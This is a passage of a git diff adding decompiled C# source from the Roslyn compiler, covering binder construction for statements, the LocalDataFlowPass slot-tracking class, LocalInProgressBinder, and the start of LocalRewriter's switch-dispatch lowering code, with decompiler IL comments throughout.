be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + ExpressionVariableBinder expressionVariableBinder = new ExpressionVariableBinder((SyntaxNode)(object)node, _enclosing); + AddToMap((SyntaxNode)(object)node, expressionVariableBinder); + Enumerator enumerator = node.Labels.GetEnumerator(); + while (enumerator.MoveNext()) + { + SwitchLabelSyntax current = enumerator.Current; + switch (current.Kind()) + { + case SyntaxKind.CasePatternSwitchLabel: + { + CasePatternSwitchLabelSyntax casePatternSwitchLabelSyntax = (CasePatternSwitchLabelSyntax)current; + Visit(casePatternSwitchLabelSyntax.Pattern, expressionVariableBinder); + if (casePatternSwitchLabelSyntax.WhenClause != null) + { + Visit(casePatternSwitchLabelSyntax.WhenClause.Condition, expressionVariableBinder); + } + break; + } + case SyntaxKind.CaseSwitchLabel: + { + CaseSwitchLabelSyntax caseSwitchLabelSyntax = (CaseSwitchLabelSyntax)current; + Visit(caseSwitchLabelSyntax.Value, expressionVariableBinder); + break; + } + } + } + Enumerator enumerator2 = node.Statements.GetEnumerator(); + while (enumerator2.MoveNext()) + { + StatementSyntax current2 = enumerator2.Current; + Visit(current2, expressionVariableBinder); + } + } + + public override void VisitSwitchExpression(SwitchExpressionSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + SwitchExpressionBinder switchExpressionBinder = new SwitchExpressionBinder(node, _enclosing); + AddToMap((SyntaxNode)(object)node, switchExpressionBinder); + Visit(node.GoverningExpression, switchExpressionBinder); + Enumerator enumerator = node.Arms.GetEnumerator(); + while (enumerator.MoveNext()) + { + SwitchExpressionArmSyntax current = enumerator.Current; + ExpressionVariableBinder armScopeBinder = new ExpressionVariableBinder((SyntaxNode)(object)current, switchExpressionBinder); + SwitchExpressionArmBinder switchExpressionArmBinder = new SwitchExpressionArmBinder(current, armScopeBinder, switchExpressionBinder); + AddToMap((SyntaxNode)(object)current, switchExpressionArmBinder); + Visit(current.Pattern, switchExpressionArmBinder); + if (current.WhenClause != null) + { + Visit(current.WhenClause, switchExpressionArmBinder); + } + Visit(current.Expression, switchExpressionArmBinder); + } + } + + public override void VisitIfStatement(IfStatementSyntax node) + { + Visit(node.Condition, _enclosing); + VisitPossibleEmbeddedStatement(node.Statement, _enclosing); + Visit(node.Else, _enclosing); + } + + public override void VisitElseClause(ElseClauseSyntax node) + { + VisitPossibleEmbeddedStatement(node.Statement, _enclosing); + } + + public override void VisitLabeledStatement(LabeledStatementSyntax node) + { + Visit(node.Statement, _enclosing); + } + + public override void VisitTryStatement(TryStatementSyntax node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + if (node.Catches.Any()) + { + Visit(node.Block, _enclosing.WithAdditionalFlags(BinderFlags.InTryBlockOfTryCatch)); + } + else + { + Visit(node.Block, _enclosing); + } + Enumerator enumerator = node.Catches.GetEnumerator(); + while (enumerator.MoveNext()) + { + CatchClauseSyntax current = enumerator.Current; + Visit(current, _enclosing); + } + if (node.Finally != null) + { + Visit(node.Finally, _enclosing); + } + } + + public override void VisitCatchClause(CatchClauseSyntax node) + { + CatchClauseBinder catchClauseBinder = new CatchClauseBinder(_enclosing, node); + AddToMap((SyntaxNode)(object)node, catchClauseBinder); + if (node.Filter != null) + { + Binder binder = catchClauseBinder.WithAdditionalFlags(BinderFlags.InCatchFilter); + AddToMap((SyntaxNode)(object)node.Filter, binder); + Visit(node.Filter, binder); + } + Visit(node.Block, catchClauseBinder); + } + + public override void VisitCatchFilterClause(CatchFilterClauseSyntax node) + { + Visit((SyntaxNode?)(object)node.FilterExpression); + } + + public override void VisitFinallyClause(FinallyClauseSyntax node) + { + BinderFlags binderFlags = BinderFlags.InFinallyBlock; + if (_enclosing.Flags.Includes(BinderFlags.InCatchBlock)) + { + binderFlags |= BinderFlags.InNestedFinallyBlock; + } + Visit(node.Block, _enclosing.WithAdditionalFlags(binderFlags)); + } + + public override void VisitYieldStatement(YieldStatementSyntax node) + { + if (node.Expression != null) + { + Visit(node.Expression, _enclosing); + } + } + + public override void VisitExpressionStatement(ExpressionStatementSyntax node) + { + Visit(node.Expression, _enclosing); + } + + public override void VisitLocalDeclarationStatement(LocalDeclarationStatementSyntax node) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + VisitRankSpecifiers(node.Declaration.Type, _enclosing); + Enumerator enumerator = node.Declaration.Variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + VariableDeclaratorSyntax current = enumerator.Current; + Visit((SyntaxNode?)(object)current); + } + } + + public override void VisitVariableDeclarator(VariableDeclaratorSyntax node) + { + Visit((SyntaxNode?)(object)node.ArgumentList); + Visit((SyntaxNode?)(object)node.Initializer?.Value); + } + + public override void VisitReturnStatement(ReturnStatementSyntax node) + { + if (node.Expression != null) + { + Visit(node.Expression, _enclosing); + } + } + + public override void VisitThrowStatement(ThrowStatementSyntax node) + { + if (node.Expression != null) + { + Visit(node.Expression, _enclosing); + } + } + + public override void VisitBinaryExpression(BinaryExpressionSyntax node) + { + while (true) + { + Visit((SyntaxNode?)(object)node.Right); + if (!(node.Left is BinaryExpressionSyntax binaryExpressionSyntax)) + { + break; + } + node = binaryExpressionSyntax; + } + Visit((SyntaxNode?)(object)node.Left); + } + + public override void DefaultVisit(SyntaxNode node) + { + base.DefaultVisit(node); + } + + private void AddToMap(SyntaxNode node, Binder binder) + { + _map[node] = binder; + } + + private Binder GetBinderForPossibleEmbeddedStatement(StatementSyntax statement, Binder enclosing, out CSharpSyntaxNode embeddedScopeDesignator) + { + switch (statement.Kind()) + { + case SyntaxKind.LocalDeclarationStatement: + case SyntaxKind.ExpressionStatement: + case SyntaxKind.LabeledStatement: + case SyntaxKind.ReturnStatement: + case SyntaxKind.YieldReturnStatement: + case SyntaxKind.ThrowStatement: + case SyntaxKind.LockStatement: + case SyntaxKind.IfStatement: + case SyntaxKind.LocalFunctionStatement: + embeddedScopeDesignator = statement; + return new EmbeddedStatementBinder(enclosing, statement); + case SyntaxKind.SwitchStatement: + { + SwitchStatementSyntax switchStatementSyntax = (SwitchStatementSyntax)statement; + embeddedScopeDesignator = switchStatementSyntax.Expression; + return new ExpressionVariableBinder((SyntaxNode)(object)switchStatementSyntax.Expression, enclosing); + } + default: + embeddedScopeDesignator = null; + return enclosing; + } + } + + private void VisitPossibleEmbeddedStatement(StatementSyntax statement, Binder enclosing) + { + if (statement != null) + { + enclosing = GetBinderForPossibleEmbeddedStatement(statement, enclosing, out var embeddedScopeDesignator); + if (embeddedScopeDesignator != null) + { + AddToMap((SyntaxNode)(object)embeddedScopeDesignator, enclosing); + } + Visit(statement, enclosing); + } + } + + public override void VisitQueryExpression(QueryExpressionSyntax node) + { + Visit((SyntaxNode?)(object)node.FromClause.Expression); + Visit((SyntaxNode?)(object)node.Body); + } + + public override void VisitQueryBody(QueryBodySyntax node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = node.Clauses.GetEnumerator(); + while (enumerator.MoveNext()) + { + QueryClauseSyntax current = enumerator.Current; + if (current.Kind() == SyntaxKind.JoinClause) + { + Visit((SyntaxNode?)(object)((JoinClauseSyntax)current).InExpression); + } + } + Visit((SyntaxNode?)(object)node.Continuation); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalDataFlowPass.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalDataFlowPass.cs new file mode 100644 index 0000000..aab28ef --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalDataFlowPass.cs @@ -0,0 +1,260 @@ +using System; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class LocalDataFlowPass : AbstractFlowPass where TLocalState : LocalDataFlowPass.ILocalDataFlowState where TLocalFunctionState : AbstractFlowPass.AbstractLocalFunctionState +{ + internal readonly struct VariableIdentifier(Symbol symbol, int containingSlot = 0) : IEquatable + { + public readonly Symbol Symbol = symbol; + + public readonly int ContainingSlot = containingSlot; + + public bool Exists => (object)Symbol != null; + + public override int GetHashCode() + { + int containingSlot = ContainingSlot; + int? memberIndexOpt = Symbol.MemberIndexOpt; + if (!memberIndexOpt.HasValue) + { + return Hash.Combine(Symbol.OriginalDefinition, containingSlot); + } + return Hash.Combine(memberIndexOpt.GetValueOrDefault(), containingSlot); + } + + public bool Equals(VariableIdentifier other) + { + if (ContainingSlot != other.ContainingSlot) + { + return false; + } + int? memberIndexOpt = Symbol.MemberIndexOpt; + int? memberIndexOpt2 = other.Symbol.MemberIndexOpt; + if (memberIndexOpt != memberIndexOpt2) + { + return false; + } + if (memberIndexOpt.HasValue) + { + return true; + } + return Symbol.Equals(other.Symbol, (TypeCompareKind)63); + } + + public override bool Equals(object? obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/DefiniteAssignment.VariableIdentifier.cs", 90); + } + + [Obsolete] + public static bool operator ==(VariableIdentifier left, VariableIdentifier right) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/DefiniteAssignment.VariableIdentifier.cs", 96); + } + + [Obsolete] + public static bool operator !=(VariableIdentifier left, VariableIdentifier right) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/DefiniteAssignment.VariableIdentifier.cs", 102); + } + + public override string ToString() + { + return $"ContainingSlot={ContainingSlot}, Symbol={Symbol.GetDebuggerDisplay()}"; + } + } + + internal interface ILocalDataFlowState : ILocalState + { + bool NormalizeToBottom { get; } + } + + protected readonly EmptyStructTypeCache _emptyStructTypeCache; + + protected LocalDataFlowPass(CSharpCompilation compilation, Symbol? member, BoundNode node, EmptyStructTypeCache emptyStructs, bool trackUnassignments) + : base(compilation, member, node, (BoundNode)null, (BoundNode)null, false, trackUnassignments) + { + _emptyStructTypeCache = emptyStructs; + } + + protected LocalDataFlowPass(CSharpCompilation compilation, Symbol member, BoundNode node, EmptyStructTypeCache emptyStructs, BoundNode firstInRegion, BoundNode lastInRegion, bool trackRegions, bool trackUnassignments) + : base(compilation, member, node, firstInRegion, lastInRegion, trackRegions, trackUnassignments) + { + _emptyStructTypeCache = emptyStructs; + } + + protected abstract bool TryGetVariable(VariableIdentifier identifier, out int slot); + + protected abstract int AddVariable(VariableIdentifier identifier); + + protected int VariableSlot(Symbol symbol, int containingSlot = 0) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + if (symbol is LocalSymbol localSymbol && (int)localSymbol.SynthesizedKind == 36) + { + return -1; + } + containingSlot = DescendThroughTupleRestFields(ref symbol, containingSlot, forceContainingSlotsToExist: false); + if (!TryGetVariable(new VariableIdentifier(symbol, containingSlot), out var slot)) + { + return -1; + } + return slot; + } + + protected virtual bool IsEmptyStructType(TypeSymbol type) + { + return _emptyStructTypeCache.IsEmptyStructType(type); + } + + protected virtual int GetOrCreateSlot(Symbol symbol, int containingSlot = 0, bool forceSlotEvenIfEmpty = false, bool createIfMissing = true) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)symbol.Kind == 16) + { + return -1; + } + containingSlot = DescendThroughTupleRestFields(ref symbol, containingSlot, forceContainingSlotsToExist: true); + if (containingSlot < 0) + { + return -1; + } + VariableIdentifier identifier = new VariableIdentifier(symbol, containingSlot); + if (!TryGetVariable(identifier, out var slot)) + { + if (!createIfMissing) + { + return -1; + } + TypeSymbol type = symbol.GetTypeOrReturnType().Type; + if (!forceSlotEvenIfEmpty && IsEmptyStructType(type)) + { + return -1; + } + slot = AddVariable(identifier); + } + if (IsConditionalState) + { + Normalize(ref StateWhenTrue); + Normalize(ref StateWhenFalse); + } + else + { + Normalize(ref State); + } + return slot; + } + + protected abstract void Normalize(ref TLocalState state); + + private int DescendThroughTupleRestFields(ref Symbol symbol, int containingSlot, bool forceContainingSlotsToExist) + { + if (symbol is TupleElementFieldSymbol tupleElementFieldSymbol) + { + TypeSymbol typeSymbol = symbol.ContainingType; + symbol = tupleElementFieldSymbol.TupleUnderlyingField; + while (!TypeSymbol.Equals(typeSymbol, symbol.ContainingType, (TypeCompareKind)0)) + { + if (!(typeSymbol.GetMembers("Rest").FirstOrDefault((Symbol s) => !(s is TupleVirtualElementFieldSymbol)) is FieldSymbol fieldSymbol)) + { + return -1; + } + if (forceContainingSlotsToExist) + { + containingSlot = GetOrCreateSlot(fieldSymbol, containingSlot); + if (containingSlot < 0) + { + return -1; + } + } + else if (!TryGetVariable(new VariableIdentifier(fieldSymbol, containingSlot), out containingSlot)) + { + return -1; + } + typeSymbol = fieldSymbol.Type; + } + } + return containingSlot; + } + + protected abstract bool TryGetReceiverAndMember(BoundExpression expr, out BoundExpression? receiver, [NotNullWhen(true)] out Symbol? member); + + protected virtual int MakeSlot(BoundExpression node) + { + switch (node.Kind) + { + case BoundKind.ThisReference: + case BoundKind.BaseReference: + if ((object)base.MethodThisParameter == null) + { + return -1; + } + return GetOrCreateSlot(base.MethodThisParameter); + case BoundKind.Local: + return GetOrCreateSlot(((BoundLocal)node).LocalSymbol); + case BoundKind.Parameter: + return GetOrCreateSlot(((BoundParameter)node).ParameterSymbol); + case BoundKind.RangeVariable: + return MakeSlot(((BoundRangeVariable)node).Value); + case BoundKind.FieldAccess: + case BoundKind.PropertyAccess: + case BoundKind.EventAccess: + { + if (TryGetReceiverAndMember(node, out BoundExpression receiver, out Symbol member)) + { + return MakeMemberSlot(receiver, member); + } + break; + } + case BoundKind.AssignmentOperator: + return MakeSlot(((BoundAssignmentOperator)node).Left); + } + return -1; + } + + protected int MakeMemberSlot(BoundExpression? receiverOpt, Symbol member) + { + int num; + if (member.RequiresInstanceReceiver()) + { + if (receiverOpt == null) + { + return -1; + } + num = MakeSlot(receiverOpt); + if (num < 0) + { + return -1; + } + } + else + { + num = 0; + } + return GetOrCreateSlot(member, num); + } + + protected static bool HasInitializer(Symbol field) + { + if (!(field is SourceMemberFieldSymbol { HasInitializer: var hasInitializer })) + { + if (!(field is SynthesizedBackingFieldSymbolBase { HasInitializer: var hasInitializer2 })) + { + if (field is SourceFieldLikeEventSymbol sourceFieldLikeEventSymbol) + { + return sourceFieldLikeEventSymbol.AssociatedEventField?.HasInitializer ?? false; + } + return false; + } + return hasInitializer2; + } + return hasInitializer; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalInProgressBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalInProgressBinder.cs new file mode 100644 index 0000000..199c967 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalInProgressBinder.cs @@ -0,0 +1,16 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class LocalInProgressBinder : Binder +{ + private readonly LocalSymbol _inProgress; + + internal override LocalSymbol LocalInProgress => _inProgress; + + internal LocalInProgressBinder(LocalSymbol inProgress, Binder next) + : base(next) + { + _inProgress = inProgress; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalRewriter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalRewriter.cs new file mode 100644 index 0000000..a74cc46 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalRewriter.cs @@ -0,0 +1,13953 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Text; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.CodeGen; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Emit.NoPia; +using Microsoft.CodeAnalysis.Operations; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.RuntimeMembers; +using Microsoft.CodeAnalysis.Shared.Collections; +using Microsoft.CodeAnalysis.Symbols; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class LocalRewriter : BoundTreeRewriterWithStackGuard +{ + private abstract class DecisionDagRewriter : PatternLocalRewriter + { + protected sealed class WhenClauseMightAssignPatternVariableWalker : BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator + { + private bool _mightAssignSomething; + + public bool MightAssignSomething(BoundExpression expr) + { + if (expr == null) + { + return false; + } + _mightAssignSomething = false; + Visit(expr); + return _mightAssignSomething; + } + + public override BoundNode Visit(BoundNode node) + { + if (node is BoundExpression { ConstantValueOpt: not null }) + { + return null; + } + if (!_mightAssignSomething) + { + return base.Visit(node); + } + return null; + } + + protected override void VisitArguments(BoundCall node) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + if ((int)node.Method.MethodKind == 17 || !node.ArgumentRefKindsOpt.IsDefault || MethodMayMutateReceiver(node.ReceiverOpt, node.Method)) + { + _mightAssignSomething = true; + } + else + { + base.VisitArguments(node); + } + } + + private static bool MethodMayMutateReceiver(BoundExpression receiver, MethodSymbol method) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + if (method != null && !method.IsStatic && !method.IsEffectivelyReadOnly) + { + TypeSymbol? type = receiver.Type; + if ((object)type != null && !type.IsReferenceType) + { + return !SpecialTypeExtensions.IsPrimitiveRecursiveStruct(method.ContainingType.SpecialType); + } + } + return false; + } + + public override BoundNode VisitPropertyAccess(BoundPropertyAccess node) + { + if (MethodMayMutateReceiver(node.ReceiverOpt, node.PropertySymbol.GetMethod)) + { + _mightAssignSomething = true; + } + else + { + base.VisitPropertyAccess(node); + } + return null; + } + + public override BoundNode VisitAssignmentOperator(BoundAssignmentOperator node) + { + _mightAssignSomething = true; + return null; + } + + public override BoundNode VisitCompoundAssignmentOperator(BoundCompoundAssignmentOperator node) + { + _mightAssignSomething = true; + return null; + } + + public override BoundNode VisitConversion(BoundConversion node) + { + visitConversion(node.Conversion); + if (!_mightAssignSomething) + { + base.VisitConversion(node); + } + return null; + void visitConversion(Conversion conversion) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Invalid comparison between Unknown and I4 + if (conversion.Kind == ConversionKind.MethodGroup) + { + if ((int)conversion.Method.MethodKind == 17) + { + _mightAssignSomething = true; + } + } + else if (!conversion.UnderlyingConversions.IsDefault) + { + ImmutableArray.Enumerator enumerator = conversion.UnderlyingConversions.GetEnumerator(); + while (enumerator.MoveNext()) + { + Conversion current = enumerator.Current; + visitConversion(current); + if (_mightAssignSomething) + { + break; + } + } + } + } + } + + public override BoundNode VisitDelegateCreationExpression(BoundDelegateCreationExpression node) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + MethodSymbol? methodOpt = node.MethodOpt; + if ((object)methodOpt != null && (int)methodOpt.MethodKind == 17) + { + _mightAssignSomething = true; + } + else + { + base.VisitDelegateCreationExpression(node); + } + return null; + } + + public override BoundNode VisitAddressOfOperator(BoundAddressOfOperator node) + { + _mightAssignSomething = true; + return null; + } + + public override BoundNode VisitDeconstructionAssignmentOperator(BoundDeconstructionAssignmentOperator node) + { + _mightAssignSomething = true; + return null; + } + + public override BoundNode VisitIncrementOperator(BoundIncrementOperator node) + { + _mightAssignSomething = true; + return null; + } + + public override BoundNode VisitDynamicInvocation(BoundDynamicInvocation node) + { + if (!node.ArgumentRefKindsOpt.IsDefault) + { + _mightAssignSomething = true; + } + else + { + base.VisitDynamicInvocation(node); + } + return null; + } + + public override BoundNode VisitObjectCreationExpression(BoundObjectCreationExpression node) + { + if (!node.ArgumentRefKindsOpt.IsDefault) + { + _mightAssignSomething = true; + } + else + { + base.VisitObjectCreationExpression(node); + } + return null; + } + + public override BoundNode VisitDynamicObjectCreationExpression(BoundDynamicObjectCreationExpression node) + { + if (!node.ArgumentRefKindsOpt.IsDefault) + { + _mightAssignSomething = true; + } + else + { + base.VisitDynamicObjectCreationExpression(node); + } + return null; + } + + public override BoundNode VisitObjectInitializerMember(BoundObjectInitializerMember node) + { + if (!node.ArgumentRefKindsOpt.IsDefault) + { + _mightAssignSomething = true; + } + else + { + base.VisitObjectInitializerMember(node); + } + return null; + } + + public override BoundNode VisitIndexerAccess(BoundIndexerAccess node) + { + if (!node.ArgumentRefKindsOpt.IsDefault || MethodMayMutateReceiver(node.ReceiverOpt, node.Indexer.GetMethod)) + { + _mightAssignSomething = true; + } + else + { + base.VisitIndexerAccess(node); + } + return null; + } + + public override BoundNode VisitDynamicIndexerAccess(BoundDynamicIndexerAccess node) + { + if (!node.ArgumentRefKindsOpt.IsDefault) + { + _mightAssignSomething = true; + } + else + { + base.VisitDynamicIndexerAccess(node); + } + return null; + } + } + + private sealed class CasesComparer : IComparer<(ConstantValue value, LabelSymbol label)> + { + private readonly IValueSetFactory _fac; + + public CasesComparer(TypeSymbol type) + { + _fac = ValueSetFactory.ForType(type); + } + + int IComparer<(ConstantValue, LabelSymbol)>.Compare((ConstantValue value, LabelSymbol label) left, (ConstantValue value, LabelSymbol label) right) + { + var (val, _) = left; + var (val2, _) = right; + if (!isNaN(val)) + { + if (!isNaN(val2)) + { + if (!_fac.Related(BinaryOperatorKind.LessThanOrEqual, val, val2)) + { + return 1; + } + if (!_fac.Related(BinaryOperatorKind.LessThanOrEqual, val2, val)) + { + return -1; + } + return 0; + } + return -1; + } + return 1; + static bool isNaN(ConstantValue value) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + if ((int)value.Discriminator == 14 || (int)value.Discriminator == 15) + { + return double.IsNaN(value.DoubleValue); + } + return false; + } + } + } + + private enum StringPatternInput + { + String, + SpanChar, + ReadOnlySpanChar + } + + private abstract class ValueDispatchNode + { + internal sealed class SwitchDispatch : ValueDispatchNode + { + public readonly ImmutableArray<(ConstantValue value, LabelSymbol label)> Cases; + + public readonly LabelSymbol Otherwise; + + public SwitchDispatch(SyntaxNode syntax, ImmutableArray<(ConstantValue value, LabelSymbol label)> dispatches, LabelSymbol otherwise) + : base(syntax) + { + Cases = dispatches; + Otherwise = otherwise; + } + + public override string ToString() + { + return "[" + string.Join(",", Cases.Select(((ConstantValue value, LabelSymbol label) c) => c.value)) + "]"; + } + } + + internal sealed class LeafDispatchNode : ValueDispatchNode + { + public readonly LabelSymbol Label; + + public LeafDispatchNode(SyntaxNode syntax, LabelSymbol Label) + : base(syntax) + { + this.Label = Label; + } + + public override string ToString() + { + return "Leaf"; + } + } + + internal sealed class RelationalDispatch : ValueDispatchNode + { + private int _height; + + public readonly ConstantValue Value; + + public readonly BinaryOperatorKind Operator; + + protected override int Height => _height; + + private ValueDispatchNode Left { get; set; } + + private ValueDispatchNode Right { get; set; } + + public ValueDispatchNode WhenTrue + { + get + { + if (!IsReversed(Operator)) + { + return Left; + } + return Right; + } + } + + public ValueDispatchNode WhenFalse + { + get + { + if (!IsReversed(Operator)) + { + return Right; + } + return Left; + } + } + + private RelationalDispatch(SyntaxNode syntax, ConstantValue value, BinaryOperatorKind op, ValueDispatchNode left, ValueDispatchNode right) + : base(syntax) + { + Value = value; + Operator = op; + WithLeftAndRight(left, right); + } + + public override string ToString() + { + return string.Format("RelationalDispatch.{0}({1} {2} {3} {4})", new object[5] + { + Height, + Left, + Operator.Operator(), + Value, + Right + }); + } + + private static bool IsReversed(BinaryOperatorKind op) + { + return op.Operator() switch + { + BinaryOperatorKind.GreaterThan => true, + BinaryOperatorKind.GreaterThanOrEqual => true, + _ => false, + }; + } + + private RelationalDispatch WithLeftAndRight(ValueDispatchNode left, ValueDispatchNode right) + { + int height = left.Height; + int height2 = right.Height; + Left = left; + Right = right; + _height = Math.Max(height, height2) + 1; + return this; + } + + public RelationalDispatch WithTrueAndFalseChildren(ValueDispatchNode whenTrue, ValueDispatchNode whenFalse) + { + if (whenTrue == WhenTrue && whenFalse == WhenFalse) + { + return this; + } + ValueDispatchNode right; + ValueDispatchNode left; + if (!IsReversed(Operator)) + { + ValueDispatchNode valueDispatchNode = whenFalse; + right = valueDispatchNode; + left = whenTrue; + } + else + { + ValueDispatchNode valueDispatchNode = whenTrue; + right = valueDispatchNode; + left = whenFalse; + } + return WithLeftAndRight(left, right); + } + + public static ValueDispatchNode CreateBalanced(SyntaxNode syntax, ConstantValue value, BinaryOperatorKind op, ValueDispatchNode whenTrue, ValueDispatchNode whenFalse) + { + ValueDispatchNode right; + ValueDispatchNode left; + if (!IsReversed(op)) + { + ValueDispatchNode valueDispatchNode = whenFalse; + right = valueDispatchNode; + left = whenTrue; + } + else + { + ValueDispatchNode valueDispatchNode = whenTrue; + right = valueDispatchNode; + left = whenFalse; + } + return CreateBalancedCore(syntax, value, op, left, right); + } + + private static ValueDispatchNode CreateBalancedCore(SyntaxNode syntax, ConstantValue value, BinaryOperatorKind op, ValueDispatchNode left, ValueDispatchNode right) + { + if (left.Height > right.Height + 1) + { + RelationalDispatch relationalDispatch = (RelationalDispatch)left; + ValueDispatchNode valueDispatchNode = CreateBalancedCore(syntax, value, op, relationalDispatch.Right, right); + SyntaxNode syntax2 = relationalDispatch.Syntax; + ConstantValue value2 = relationalDispatch.Value; + BinaryOperatorKind num = relationalDispatch.Operator; + ValueDispatchNode left2 = relationalDispatch.Left; + right = valueDispatchNode; + left = left2; + op = num; + value = value2; + syntax = syntax2; + } + else if (right.Height > left.Height + 1) + { + RelationalDispatch relationalDispatch2 = (RelationalDispatch)right; + ValueDispatchNode valueDispatchNode2 = CreateBalancedCore(syntax, value, op, left, relationalDispatch2.Left); + SyntaxNode syntax3 = relationalDispatch2.Syntax; + ConstantValue value3 = relationalDispatch2.Value; + BinaryOperatorKind num2 = relationalDispatch2.Operator; + right = relationalDispatch2.Right; + left = valueDispatchNode2; + op = num2; + value = value3; + syntax = syntax3; + } + if (left.Height == right.Height + 2) + { + RelationalDispatch relationalDispatch3 = (RelationalDispatch)left; + if (relationalDispatch3.Left.Height == right.Height) + { + RelationalDispatch relationalDispatch4 = relationalDispatch3; + ValueDispatchNode left3 = relationalDispatch4.Left; + RelationalDispatch obj = (RelationalDispatch)relationalDispatch4.Right; + ValueDispatchNode left4 = obj.Left; + ValueDispatchNode right2 = obj.Right; + ValueDispatchNode right3 = right; + return obj.WithLeftAndRight(relationalDispatch4.WithLeftAndRight(left3, left4), new RelationalDispatch(syntax, value, op, right2, right3)); + } + ValueDispatchNode left5 = relationalDispatch3.Left; + ValueDispatchNode right4 = relationalDispatch3.Right; + ValueDispatchNode right5 = right; + return relationalDispatch3.WithLeftAndRight(left5, new RelationalDispatch(syntax, value, op, right4, right5)); + } + if (right.Height == left.Height + 2) + { + RelationalDispatch relationalDispatch5 = (RelationalDispatch)right; + if (relationalDispatch5.Right.Height == left.Height) + { + ValueDispatchNode left6 = left; + RelationalDispatch relationalDispatch6 = relationalDispatch5; + RelationalDispatch obj2 = (RelationalDispatch)relationalDispatch6.Left; + ValueDispatchNode left7 = obj2.Left; + ValueDispatchNode right6 = obj2.Right; + return obj2.WithLeftAndRight(right: relationalDispatch6.WithLeftAndRight(right6, relationalDispatch6.Right), left: new RelationalDispatch(syntax, value, op, left6, left7)); + } + ValueDispatchNode left8 = left; + ValueDispatchNode left9 = relationalDispatch5.Left; + return relationalDispatch5.WithLeftAndRight(right: relationalDispatch5.Right, left: new RelationalDispatch(syntax, value, op, left8, left9)); + } + return new RelationalDispatch(syntax, value, op, left, right); + } + } + + public readonly SyntaxNode Syntax; + + protected virtual int Height => 1; + + public ValueDispatchNode(SyntaxNode syntax) + { + Syntax = syntax; + } + } + + private ArrayBuilder _loweredDecisionDag; + + private readonly PooledDictionary _dagNodeLabels = PooledDictionary.GetInstance(); + + internal LocalSymbol? _whenNodeIdentifierLocal; + + protected abstract ArrayBuilder BuilderForSection(SyntaxNode section); + + protected 